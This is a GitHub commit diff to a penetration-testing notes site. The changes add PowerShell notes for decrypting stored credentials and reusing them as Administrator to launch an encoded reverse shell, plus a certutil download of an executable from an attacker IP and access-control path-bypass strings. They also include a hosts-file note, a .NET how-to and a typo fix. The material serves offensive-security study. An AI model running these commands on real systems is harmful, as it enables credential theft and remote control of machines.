Skip to content

Commit

Permalink
add PowerShell crypto
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed Mar 16, 2024
1 parent 969a1cd commit 447281d
Show file tree
Hide file tree
Showing 9 changed files with 127 additions and 36 deletions.
29 changes: 0 additions & 29 deletions src/exploit/cryptography/algorithm/aes.md
Original file line number Diff line number Diff line change
Expand Up @@ -48,35 +48,6 @@ openssl aes-256-cbc -e -in message.txt -out encrypted_message
openssl aes-256-cbc -pbkdf2 -iter 10000 -e -in message.txt -out encrypted_message
```

### PowerShell

Reference: https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.3

```powershell
# Generate a secure string (input a plain text in prompt)
$secure = Read-Host -AsSecureString
# Store a key
$key = (1..16)
# Generate an encrypted string from the secure string
$encrypted = ConvertFrom-SecureString -SecureString $secure
# using key
$encrypted = ConvertFrom-SecureString -SecureString $secure -Key $key
echo $encrypted
# Convert an encrypted string to a secure string
$secure2 = ConvertTo-SecureString -String $encrypted
# using key
$secure2 = ConvertTo-SecureString -String $encrypted -Key $key
echo $secure2
# Reveal user password
$userpass = (New-Object pscredential 0, $encrypted).GetNetworkCredential().Password
```

<br />

## Implement AES in Python
Expand Down
63 changes: 63 additions & 0 deletions src/exploit/cryptography/algorithm/powershell-credentials.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
---
title: PowerShell Credentials
description:
tags:
- Cryptography
refs:
date: 2024-03-17
draft: false
---

## Decrypt

```powershell
$EncString = "<encrypted string>"
$SecureString = ConvertTo-SecureString $EncString
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "username",$SecureString
# Store the decrypted passsword to `$password` variable.
$password = echo $Credential.GetNetworkCredential().password
```

### Login with Credential

After decrypting, we can use the credential for login another user with reverse shell.

```powershell
$username = "Administrator"
$SecurePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)
# Invoke reverse shell with credential
Invoke-Command -ComputerName localhost -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ALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==}
```

<br />

## Encrypt

Reference: https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.3

```powershell
# Generate a secure string (input a plain text in prompt)
$secure = Read-Host -AsSecureString
# Store a key
$key = (1..16)
# Generate an encrypted string from the secure string
$encrypted = ConvertFrom-SecureString -SecureString $secure
# using key
$encrypted = ConvertFrom-SecureString -SecureString $secure -Key $key
echo $encrypted
# Convert an encrypted string to a secure string
$secure2 = ConvertTo-SecureString -String $encrypted
# using key
$secure2 = ConvertTo-SecureString -String $encrypted -Key $key
echo $secure2
# Reveal user password
$userpass = (New-Object pscredential 0, $encrypted).GetNetworkCredential().Password
```
3 changes: 2 additions & 1 deletion src/exploit/web/method/web-content-discovery.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ description: If we want to find hidden directories or files, we can enumerate th
tags:
- Web
refs:
date: 2024-02-13
date: 2024-03-17
draft: false
---

Expand Down Expand Up @@ -80,6 +80,7 @@ project.wsgi
/example.asp
/example.aspx
/example.aspx/trace.axd
/web.config

# If you know the users manage the website, try the usernames
/admin
Expand Down
9 changes: 7 additions & 2 deletions src/exploit/web/method/web-vhost-enumeration.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ description: We can find virtual hosts for websites by enumerating Host header v
tags:
- Web
refs:
date: 2023-04-08
date: 2024-03-17
draft: false
---

Expand All @@ -22,7 +22,12 @@ ffuf -u http://10.0.0.1/ -H "Host: FUZZ.example.com" -w wordlist.txt -fs 1234
wfuzz -u http://example.com -H "Host: FUZZ.example.com" -w wordlist.txt --hl 138
```

If we found vhosts, add them to the **`/etc/hosts`** in our machine.
### Add Vhosts to Hosts File

If we found a vhost, add that ip&domain to the hosts file depending on your attack machine.

- Linux: `/etc/hosts`
- Windows: `C:\Windows\System32\drivers\etc\hosts`

<br />

Expand Down
26 changes: 25 additions & 1 deletion src/exploit/web/security-risk/broken-access-control.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,34 @@ description: The attacking methodology of broken access control in web applicati
tags:
- Web
refs:
date: 2023-11-11
date: 2024-03-17
draft: false
---

## Manipulate Path

```sh
/admin
/Admin
/ADMIN

/./admin
/.;/admin
/;/admin
/admin/
/admin/.

/admin%0d
/admin%0a
/admin%0d%0a

# Add a tab (or multiple tabs) after the path, not escape characters (`\t`).
# It's recommended to use BurpSuite Proxy.
/admin HTTP/1.1
```

<br />

## Change Header Values

### Cookie
Expand Down
1 change: 1 addition & 0 deletions src/exploit/windows/dotnet/_data.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
category2: dotnet
24 changes: 24 additions & 0 deletions src/exploit/windows/dotnet/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
---
title: .NET
description: .NET is an application development environment.
tags:
- Windows
refs:
date: 2024-03-17
draft: false
---

## Create a .NET Project from Command Line

```bash
# Create a new solution file
# -n: The name for the output being created
dotnet new sln -n test

# Create a new .NET project.
# console: Use a template for creating a console application.
dotnet new console -n test

# Add the project to a solution file.
dotnet sln add test/test.csproj
```
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ description: Powershell is a task automation and configuration management progra
tags:
- Windows
refs:
date: 2023-03-05
date: 2023-03-17
draft: false
---

Expand Down Expand Up @@ -97,6 +97,8 @@ Set-Content -Path .\example.txt -Value hello

```powershell
Invoke-WebRequest -Uri http://10.0.0.1:8000/example.exe -OutFile .\example.exe
certutil -urlcache -f http://10.0.0.1:8000/example.exe example.exe
```

### Copy Files
Expand Down
4 changes: 2 additions & 2 deletions src/exploit/windows/protocol/msrpc-pentesting.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ description: It is also known as a function call or a subroutine call. Default p
tags:
- Windows
refs:
date: 2024-02-18
date: 2024-03-17
draft: false
---

Expand All @@ -23,7 +23,7 @@ impacket-rpcdump -port 135 <target-ip> | grep -E 'MS-EFSRPC|MS-RPRN|MS-PAR'
```

- **MS-EFSRPC**: It might be vulnerable to **PetitPotam**.
- **MS-RPRN**, **MS-PAR**: It might be vulnerable to **PringNightmare**.
- **MS-RPRN**, **MS-PAR**: It might be vulnerable to **PrintNightmare**.

### Metasploit

Expand Down

0 comments on commit 447281d

Please sign in to comment.